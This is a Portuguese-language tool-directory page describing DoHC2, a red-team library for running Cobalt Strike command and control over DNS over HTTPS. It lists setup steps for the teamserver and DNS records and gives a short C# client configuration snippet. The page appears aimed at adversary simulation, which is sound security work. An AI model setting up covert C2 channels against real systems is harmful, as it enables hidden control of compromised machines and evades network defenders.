Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
DoHC2 — DoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH). | Kitploit
Ferramentas/GitHubGitHub/spiderlabs/dohc2
Penetration Testing FrameworksExploit FrameworksCommand and ControlRed TeamingPayload DevelopmentDNS AnalysisArchived
GitHubspiderlabs/dohc2

DoHC2

DoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH).

Ver Repositório
44993há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

⚠️ NOTA: Esta ferramenta não está mais em manutenção ativa.

DoHC2

DoHC2 permite que a biblioteca ExternalC2 de Ryan Hanson (https://github.com/ryhanson/ExternalC2) seja utilizada para comando e controle (C2) via DNS sobre HTTPS (DoH). Isto foi construído para o popular software de Simulação de Adversário e Operações de Red Team, Cobalt Strike (https://www.cobaltstrike.com).

Apresentação

Este projeto foi lançado em 23 de outubro de 2018 no Mitre ATT&CKcon.

Slides: Desempenhando o Papel de Advogado do Diabo para Iniciativas de Segurança com ATT&CK

Artigo do Blog: DOH! DNS sobre HTTPS Representa Possíveis Riscos para Empresas

Diagrama

Screenshot

Uso

  1. Instale e inicie o Cobaltstrike teamserver.
  2. Inicie um listener beacon_http/beacon_https - Atenção Isto pode ser bloqueado por firewall, mas você precisa dele para o External C2 funcionar.
  3. Carregue o script 'external_c2.cna' para iniciar o ExternalC2 na porta 2222 (Firewall desligado).
  4. Instale as dependências para o servidor python3.
  5. Permita a porta 53/udp para a Internet (ou para as faixas de IP do provedor DoH).
  6. Crie um registro A no seu domínio apontando para o IP do teamserver/servidor DNS, ou seja, [A] entry.example.org -> 000.000.000.000
  7. Crie um registro NS apontando para o registro A para o canal de envio (INPUTDOMAIN), ou seja, [NS] send.example.org -> entry.example.org.
  8. Crie um registro NS apontando para o registro A para o canal de recebimento (OUTPUTDOMAIN), ou seja, [NS] receive.example.org -> entry.example.org.
  9. Altere INPUTDOMAIN e OUTPUTDOMAIN no DoHC2.py. Altere a chave/IV de criptografia - isso é usado para criptografar o caminho do Teamserver para o Cliente Apenas (Criptografa o Stager). Altere max_records de 1 dependendo do provedor DoH, alguns provedores reordenam os registros retornados, o que não é tratado atualmente. Max 5 funciona bem com servidor DNS.
  10. Inicie o servidor DNS python3.
  11. Compile a biblioteca ExternalC2. Altere a chave/IV de criptografia no DoHChannel.cs para corresponder ao servidor python3.
  12. Configure e inicie DoHC2() como abaixo, certificando-se de definir INPUTDOMAIN, OUTPUTDOMAIN e um provedor DoH no formato 'https://resolver.example.org/dns-query'.

Servidor

Servidor DNS Python baseado no ACME DNS Server

  • Por padrão, ele faz a interface do DNS bruto com o Cobalt Strike Teamserver em 127.0.0.1:2222.
  • Altere INPUTDOMAIN e OUTPUTDOMAIN para serem hosts que são NS do IP externo do servidor:
root@kitploit:~
	pip3 install -r requirements.txt
	sudo python3 ./DoHC2.py

Biblioteca

ExternalC2 de @ryhanson com as seguintes adições:

  • Canais > DoHChannel.cs - Implementação DoH
  • Canais > Base32.cs (de https://gist.github.com/BravoTango86/2a085185c3b9bd8383a1f956600e515f)
  • DoHC2.cs - Configuração / wrapper do canal DoH
  • Newtonsoft.JSON (https://www.newtonsoft.com/json) é adicionado ao projeto

Exemplo de Cliente

  • Assim como o restante do ExternalC2, o DoHC2 é COMVisible para JScript/DotNetToJS, mas este é um exemplo simples para iniciá-lo.
  • O cliente de exemplo DoHC2Runner é um programa simples em C# para demonstrar o carregamento da biblioteca e sua configuração da seguinte forma:
root@kitploit:~
	DoHC2 doh = new DoHC2();
	doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
	doh.Go();

Autores

  • David Middlehurst - Twitter- @dtmsecurity

Licença

DoHC2

Alguns elementos criados por David Middlehurst, SpiderLabs conforme descrito acima (Por favor, consulte as respectivas licenças onde outros projetos de código aberto são utilizados).

Copyright (C) 2018 Trustwave Holdings, Inc.

Este programa é software livre: você pode redistribuí-lo e/ou modificá-lo sob os termos da Licença Pública Geral GNU, conforme publicada pela Free Software Foundation, seja a versão 3 da Licença, ou (a seu critério) qualquer versão posterior.

Este programa é distribuído na esperança de que seja útil, mas SEM NENHUMA GARANTIA; sem mesmo a garantia implícita de COMERCIALIZAÇÃO ou ADEQUAÇÃO A UM PROPÓSITO ESPECÍFICO. Veja a Licença Pública Geral GNU para mais detalhes.

Agradecimentos

  • ExternalC2
  • Especificação ExternalC2
  • ACME DNS Server - (Servidor Python)
  • Python Shared File C2 - (Servidor Python)
  • Python External_C2_Framework - (Servidor Python)
  • DNSExfiltrator - Servidor Python

Contribuidores

  • xinhaojing - Problema no Servidor #1
Baixar ferramenta